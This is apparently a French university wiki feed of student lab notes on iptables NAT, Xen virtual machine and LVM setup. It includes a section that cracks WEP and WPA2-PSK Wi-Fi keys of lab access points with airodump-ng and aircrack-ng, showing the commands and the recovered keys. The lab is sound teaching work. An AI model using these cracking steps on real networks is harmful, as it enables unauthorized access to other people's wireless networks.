** &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
&lt;br /&gt;
Donc tu exposes plusieurs SSH internes via '''un seul serveur public''', en jouant sur les ports.&lt;br /&gt;
&lt;br /&gt;
Note importante : DNAT ne suffit pas toujours tout seul : il faut aussi que le '''forwarding''' soit autorisé (et éventuellement règles &amp;lt;code&amp;gt;filter&amp;lt;/code&amp;gt; si tu as une politique restrictive). Dans ton cas, tu n’as montré que la table &amp;lt;code&amp;gt;nat&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Traduction :&lt;br /&gt;
&lt;br /&gt;
* Tout paquet qui '''sort''' et dont la source est dans &amp;lt;code&amp;gt;192.168.3.0/29&amp;lt;/code&amp;gt; verra son IP source remplacée par l’IP publique du mandataire.&lt;br /&gt;
* Pareil pour &amp;lt;code&amp;gt;10.60.0.0/16&amp;lt;/code&amp;gt; (ces adresses seront à rajoutées pour la suite du TP pour l'instant ne les ajoutés pas)&lt;br /&gt;
&lt;br /&gt;
==== Autre amélioration très recommandée : préciser l’interface de sortie ====&lt;br /&gt;
&lt;br /&gt;
Sans &amp;lt;code&amp;gt;-o eth1&amp;lt;/code&amp;gt;, tu peux NATer des flux que tu ne voulais pas NATer si tu as plusieurs sorties. La version “propre” :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/27 -o eth1 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Mais dans notre TP, il n'y pas besoin de ça&lt;br /&gt;
&lt;br /&gt;
==== Explication de PREROUTING et POSTROUTING ====&lt;br /&gt;
&lt;br /&gt;
===== PREROUTING : “avant la décision de routage” =====&lt;br /&gt;
'''Quand ?'''&lt;br /&gt;
&lt;br /&gt;
Dès qu’un paquet '''entre''' sur la machine (depuis une interface réseau), ''avant'' que Linux décide s’il doit :&lt;br /&gt;
&lt;br /&gt;
* le garder pour lui (INPUT),&lt;br /&gt;
* ou le renvoyer vers un autre réseau (FORWARD).&lt;br /&gt;
&lt;br /&gt;
'''À quoi ça sert ?'''&lt;br /&gt;
&lt;br /&gt;
C’est l’endroit parfait pour faire du '''DNAT''' (redirection de destination), parce que tu veux changer la destination '''avant''' que le kernel choisisse où l’envoyer.&lt;br /&gt;
&lt;br /&gt;
'''Exemple concret (port forwarding)'''&lt;br /&gt;
&lt;br /&gt;
Quelqu’un sur Internet contacte :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ta règle en PREROUTING fait :&lt;br /&gt;
&lt;br /&gt;
* destination devient &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite seulement, Linux dit :&lt;br /&gt;
&lt;br /&gt;
“ok, ça doit partir vers le réseau interne” → il route vers &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
PREROUTING = “je reçois le colis, je regarde l’étiquette et j’ai encore le droit de la changer avant de choisir le camion.”&lt;br /&gt;
&lt;br /&gt;
===== POSTROUTING : “juste avant de sortir” =====&lt;br /&gt;
'''Quand ?'''&lt;br /&gt;
&lt;br /&gt;
Après que Linux a déjà décidé '''par où''' le paquet sort (quelle interface, quelle route), et juste avant qu’il quitte la machine.&lt;br /&gt;
&lt;br /&gt;
'''À quoi ça sert ?'''&lt;br /&gt;
&lt;br /&gt;
C’est l’endroit parfait pour faire du '''SNAT / MASQUERADE''' (changer l’adresse source), parce que :&lt;br /&gt;
&lt;br /&gt;
* tu sais maintenant exactement sur quelle interface ça sort,&lt;br /&gt;
* et donc quelle IP source externe utiliser.&lt;br /&gt;
&lt;br /&gt;
'''Exemple concret (NAT sortant / masquerade)'''&lt;br /&gt;
&lt;br /&gt;
Une VM interne envoie vers Internet :&lt;br /&gt;
&lt;br /&gt;
* source &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → destination &amp;lt;code&amp;gt;1.2.3.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En POSTROUTING, tu remplaces la source :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (IP publique du mandataire)&lt;br /&gt;
&lt;br /&gt;
Comme ça, Internet répond à &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;, et le mandataire retransmet à la VM grâce à conntrack.&lt;br /&gt;
&lt;br /&gt;
POSTROUTING = “le colis est déjà assigné à un camion (interface de sortie), je peux encore modifier l’étiquette avant qu’il parte.”&lt;br /&gt;
&lt;br /&gt;
===== Mini résumé ultra clair =====&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : avant le routage → on change surtout la '''destination''' (DNAT / redirections de ports)&lt;br /&gt;
* '''POSTROUTING''' : après le routage → on change surtout la '''source''' (SNAT / MASQUERADE)&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12392</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12392"/>
		<updated>2026-02-25T15:08:29Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Le problème */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
Dans Xen, chaque entrée &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; du fichier &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc. Le paramètre &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie nos '''3 machines''' (nos VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que nos VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
